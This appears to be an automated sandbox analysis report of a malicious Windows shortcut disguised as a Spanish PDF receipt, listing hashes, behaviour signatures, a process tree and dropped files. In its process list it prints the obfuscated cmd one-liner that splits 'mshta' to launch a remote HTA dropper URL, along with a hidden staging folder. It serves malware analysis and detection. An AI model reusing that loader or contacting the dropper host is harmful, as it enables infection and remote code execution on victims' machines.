Analysis
- max time kernel
28s - max time network
155s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
03/08/2026, 13:43
Static task
static1
Behavioral task
behavioral1
Sample
JustificantePDF2107-BSAUSL.lnk
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
JustificantePDF2107-BSAUSL.lnk
Resource
win11ltsc2024-20260709-en
General
- Target JustificantePDF2107-BSAUSL.lnk
- Size 1KB
- Sample260803-q1geaaae28
- SHA256 e928e55a9c73cf232339047277239f6a9e3e79beddc8cad48d665b8302680b8a
- MD5 832684867b213705739c8306af6391c1
- SHA1 23f3e68100b4302b1b750c010d0bf994034a341d
- SHA512 4a44d48bbd5d47c9d970bc7d83df471aba0acea64507da8631599a2d25d95452f6aaeb5eefb5bff9efd1422dc515aed8e95c1d478a8b5a4afd55e3839e42faa4
- TLSH T1CD317B503EFD0664F3B39E7688BB971049BB799A8D10CA2E0141854C5072A05E5BBF7B
- MD5 SHA1 SHA512 TLSH
Malware Config
Extracted
-
hta
-
hta.dropper
https://doc-acess.lat/h/estagio1.php?r=3F1477F15398D1
Signatures
- Badlisted process makes network request 5 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 4 1996 mshta.exe 8 1996 mshta.exe 9 1996 mshta.exe 12 1996 mshta.exe 13 1996 mshta.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 3 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4856 cmd.exe 2836 cmd.exe 2864 cmd.exe - System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
pid Process 2864 cmd.exe 4420 PING.EXE -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch rundll32.exe Set value (str) \REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" rundll32.exe Key created \REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch rundll32.exe Set value (str) \REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" rundll32.exe Key created \REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch rundll32.exe Set value (str) \REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" rundll32.exe - Modifies registry class 16 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache rundll32.exe Set value (int) \REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Cookies\CacheVersion = "1" rundll32.exe Key created \REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\History rundll32.exe Key created \REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Extensible Cache rundll32.exe Key created \REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Cookies rundll32.exe Set value (str) \REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:" rundll32.exe Set value (int) \REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\History\CacheVersion = "1" rundll32.exe Set value (str) \REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Content\CachePrefix rundll32.exe Set value (int) \REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Content\CacheLimit = "51200" rundll32.exe Set value (int) \REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Cookies\CacheLimit = "1" rundll32.exe Set value (str) \REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\History\CachePrefix = "Visited:" rundll32.exe Set value (int) \REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\History\CacheLimit = "1" rundll32.exe Key created \REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\Local Settings\MuiCache rundll32.exe Key created \REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings rundll32.exe Key created \REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Content rundll32.exe Set value (int) \REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Content\CacheVersion = "1" rundll32.exe - Runs ping.exe 1 TTPs 1 IoCs
pid Process 4420 PING.EXE - Script User-Agent 1 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 12 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) - Suspicious use of FindShellTrayWindow 3 IoCs
pid Process 2952 rundll32.exe 2492 rundll32.exe 1456 rundll32.exe - Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 4856 wrote to memory of 2836 4856 cmd.exe 90 PID 2836 wrote to memory of 1996 2836 cmd.exe 91 PID 1996 wrote to memory of 2492 1996 mshta.exe 94 PID 1996 wrote to memory of 2952 1996 mshta.exe 93 PID 1996 wrote to memory of 1456 1996 mshta.exe 95 PID 1456 wrote to memory of 5752 1456 rundll32.exe 96 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
- Views/modifies file attributes 1 TTPs 1 IoCs
pid Process 788 attrib.exe
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\JustificantePDF2107-BSAUSL.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4856 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /v:on /c "set tsE=msh&&set vE=ta&&start "" !tsE!!vE! https://doc-acess.lat/h/estagio1.php?r=3F1477F15398D1"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2836 -
C:\Windows\System32\mshta.exemshta https://doc-acess.lat/h/estagio1.php?r=3F1477F15398D13⤵
- Badlisted process makes network request
- Suspicious use of WriteProcessMemory
PID:1996 -
C:\Windows\System32\rundll32.exe"C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 84⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
PID:2952 -
C:\Windows\system32\rundll32.exeC:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:00000000000000005⤵PID:5744
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C:\Windows\System32\rundll32.exe"C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 84⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
PID:2492 -
C:\Windows\system32\rundll32.exeC:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:00000000000000005⤵PID:1312
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C:\Windows\System32\rundll32.exe"C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 84⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:1456 -
C:\Windows\system32\rundll32.exeC:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:00000000000000005⤵
- Modifies registry class
PID:5752
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C:\Windows\System32\rundll32.exe"C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 84⤵PID:3380
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C:\Windows\system32\rundll32.exeC:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:00000000000000005⤵PID:4824
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C:\Windows\System32\attrib.exe"C:\Windows\System32\attrib.exe" +h +s "C:\idhiofre\"4⤵
- Views/modifies file attributes
PID:788
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C:\idhiofre\idhiofre.exe"C:\idhiofre\idhiofre.exe" C:\idhiofre\idhiofre4⤵PID:1432
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C:\Windows\System32\rundll32.exe"C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 84⤵PID:3576
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C:\Windows\system32\rundll32.exeC:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:00000000000000005⤵PID:5024
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c ping -n 300 -w 1000 127.0.0.1 >nul4⤵
- Executes a command shell one-liner
- System Network Configuration Discovery: Internet Connection Discovery
PID:2864 -
C:\Windows\System32\PING.EXEping -n 300 -w 1000 127.0.0.15⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
PID:4420
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Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\050181E8A7D6C35C06DF1414C779370A
- Size 542B
- SHA256 0b16ece4859331ac4f1da2612feb71c27a833b5193108286ea909c69197f0b0f
- MD5 e199fdfe871d8f8fdf9146dc4af8e9cb
- SHA1 be19dd5c6c09d181c995390e663528d7a1c7ce08
- SHA512 dd0dcb3fb34eb6fc60160acf25cabefc7d60255b6c34564ded9ceec8267084542c5d5f725b8940faabfd8d04dbda4054783742d24805b752cce2d7543e442ee1
- TLSH T149F0EB898E2D655113FAEA60A8A8C8836CFD8482097570311AA28B104856B8FEA632C9
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\8B2B9A00839EED1DFDCCC3BFC2F5DF12
- Size 1KB
- SHA256 63b14543360f5e89942ea8d5113526e64fbc71c1207328f0136b3a495d921dd0
- MD5 adac67e1d2da2d706db151c2db316b2d
- SHA1 5f6e301d23e33132209707945d0e740d5bcb8996
- SHA512 9371b62ac25c6ea8fb6fca19ac47b873ced9b3d0cb45ce4de5ea974b93c12684c65aa23c7d83331c77502853258a08dff73ce5e3fb6170bd3ab1c5b3283a86a9
- TLSH T1DE31AD4EA2153027D5427F72D8CEBE83CEB1364667CAD46B18046E4229AAFC25FC80C9
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B46811C17859FFB409CF0E904A4AA8F8
- Size 528B
- SHA256 d2bb091268ade68ad8121d2184d0fbce128070156304bd4de312e6fbd267409c
- MD5 047f3e9d21d6b325d592b1959e4362e6
- SHA1 5aeef5f985171cd69da397fd039854e44ebecdd2
- SHA512 4523896ed4a03afafd2075d8c8947236d34fe1da2c246a3f90c2be2a5c151c18bc58a6cde5a209abb8e06e80f662e24d0149640b3e98e8a872bfa8a04ef592a4
- TLSH T147F0500990082252C855FF55DFD6AC97DC76336136E595036D458E410C12F96AF950F5
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\050181E8A7D6C35C06DF1414C779370A
- Size 192B
- SHA256 3debbe7945e14a81c49dab4a575ad4f123172d36266e72f9f8404071ba332aa1
- MD5 32452d125c121ff3b9a08ac9e9ea0ac7
- SHA1 822db6da3e72e1bb6ef339d6c7dc32fdd25be1ce
- SHA512 823971f2a368d21ceb4fca068d4c35986f2be803da3069c71175157571c3ed8dd0109856cf1885145730ec88f2f031877e26cd4dfce63b49b5a45a8571257ef2
- TLSH T156C08C0277A5094EF138023E49B2B70267FCF188D981830D7FB401559269A902A31E01
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\8B2B9A00839EED1DFDCCC3BFC2F5DF12
- Size 174B
- SHA256 630fcf9e9991fe7e8f60274fee38f570c4683b6f21a32a991a6bb7ed700156e0
- MD5 ecf0dc7d1d7c2a348d685a2cd3dff2b3
- SHA1 2b9b5263156122707810b52b2f2b9d4e377bd58e
- SHA512 0eb179d68d414edd5861bfeb18fb3bf6028cc1cc501fa143966f1faa21ed21f7884d9bd3da8992b192b0e66302c666e80593d1760e0c7f4e3efe608a7ed90510
- TLSH T189C09B0437B54159F1308D7F1A5353114BFEE605DE4283550F707259D65DB425CF5D07
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B46811C17859FFB409CF0E904A4AA8F8
- Size 170B
- SHA256 9b05f93fcb0988c486ad32c333049b683c0ce6390b02410a9c1d74a8f805492b
- MD5 d7c175be0d5cc1f6ab4487b12ecda3f5
- SHA1 af716eac81d8945a08a39cb9df063d8bbbed8afb
- SHA512 5ebf3c840bf0d741ff27f9c3392bcc188e06a94caa5c193fab70e732cc05fd1027a5e000080364b7df21bc70d8bddff174039bcc4e6de1b89edb2029d17ee59d
- TLSH T1D9C09214B7B9471AF10E613E7DE61A041BBA920AFACBC3144BB81138CA69A8408B2D0D
- MD5 SHA1 SHA512 TLSH
- Path C:\idhiofre\a1.zip
- Size 494KB
- SHA256 30a42ca1ea615f50945236fd9b507029d6d00ab24a83a0961aa67d8478d5315f
- MD5 bcc950ac7e689f71ab57d80e8644db15
- SHA1 d8674fb71ae1679c9798d0ba806fed11de494270
- SHA512 47e2f7b573da08f45e48d6c930555f8bc55093545ddc79e53b0674dcf964db07b8c47414b115b9dcc8cb366662604cdd45b98ccbe8773b7ebb77577d80f73737
- SSDEEP 12288:nxU7hblQnL+/dh+Gez4yOGtBan225oCWp8SrIr:nq7hblmK/dgGeVlk22aCarIr
- TLSH T11DB4231C22C5BD086D3D97FB58539F7405E6269E14B8024CE18B63C4ABCEF815F829E6
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\idhiofre\a2.zip
- Size 1.3MB
- SHA256 c288ba3b515c32c6b48a006e9435785f5361e777edeaabb612b8feee29b0a8fb
- MD5 452d8a78c0bdc3ddbe2a67eea6dab55e
- SHA1 df98c90ba39ced812726223a4e3cd0309a19160f
- SHA512 22a1ac769d77b7c85ec03b7f66235c6e1c61527405aa32201331641f1c862fcbd0ef3d6bd2b2d50c4e1bfcdae8dfb094b2c32775fec66c0130105052cd10e86a
- SSDEEP 24576:8AQYltjM5BqgdnjIyK2UxYGAXTZWyutR+kXM0JyU9mSff3Pc7pOU5JLMiV:8AQUgNIkUx6TZW58kX9UU9mcfUF5J4iV
- TLSH T12A5533F2195136CAA1ECBC1F05F057D581867C9ABBFE2B4E3641308E0D15F91BEB9268
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\idhiofre\a3.zip
- Size 2KB
- SHA256 0417b088a5717b6366bb7d150eb2e0f636f8f5c3f344bf723d3c92060fe938cf
- MD5 cba0f8d09665fab8b27c7be44a86804c
- SHA1 a62c59d52fb5db0d0cad4f19c1b01e157c048c4d
- SHA512 2f475daa7f403da149ec0ea87fd4785b6eddba722eb714ae5d5e14c6fc7f7f379b689850958ca176076e45689eaa25cb78c70bb0dc6bc2b18e14350ad08fa2d6
- TLSH T162413CE88D7CBDA0D28FB9349914647095373EC455C461A81EBFEC042130398DB2E42C
- MD5 SHA1 SHA512 TLSH
- Path C:\idhiofre\idhiofre
- Size 1.3MB
- SHA256 c7f22abb4ddd7fdb324bf80faa5449654a899c22ffc5ab8d5988be10e4a51ea4
- MD5 9c4bd2c3a1bc7bd93bad88e795576cc7
- SHA1 70ad55f52d1ca30b0b218ff3aa21c2aed48e75c7
- SHA512 6279ae4c2b30959d068cf31bfd9bae01c729a6891fd076bc21725f86a2446d7bc6ed2c8c188db55d18ea662d686b6f26191405429ecfadba7a38fa49e5e76709
- SSDEEP 24576:xAsY9j7ud5qghDjIKoUU94G2X5ZOaut1+edMyJyU9kGfX3Pc7TiUnBL9iu:xAssgxIuU985ZOBoed9UU9k4XU/nBBiu
- TLSH T1C15533F2195136CAA1E8BC1F05F057D581867C9ABFFE2B4E3641308E0D15F91BEB9268
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\idhiofre\idhiofre.exe
- Size 957KB
- SHA256 bdd2b7236a110b04c288380ad56e8d7909411da93eed2921301206de0cb0dda1
- MD5 279274f8a137bf31425a9c2c14444b66
- SHA1 6f7f971406854309d94139aa70bdc772308aff52
- SHA512 2e69e99ae2c2f0c3361351853ecfcd1982ea542ef8aff9314e991642f106a87d45479f21f53367ad93b29ce9d98b60706ff9554a9c9d2a793fbed1589b90a85d
- SSDEEP 24576:8SmEH7kpRArkvBz1oxovFDVeAj2HoB3a33rfBH:827kpRA4R1oGDVeQXsrf
- TLSH T11B259E0373D18022FF93A9721E5FE72656BC6D2A0323956F13D81EB9F9305B14A1E672
- MD5 SHA1 SHA512 SSDEEP TLSH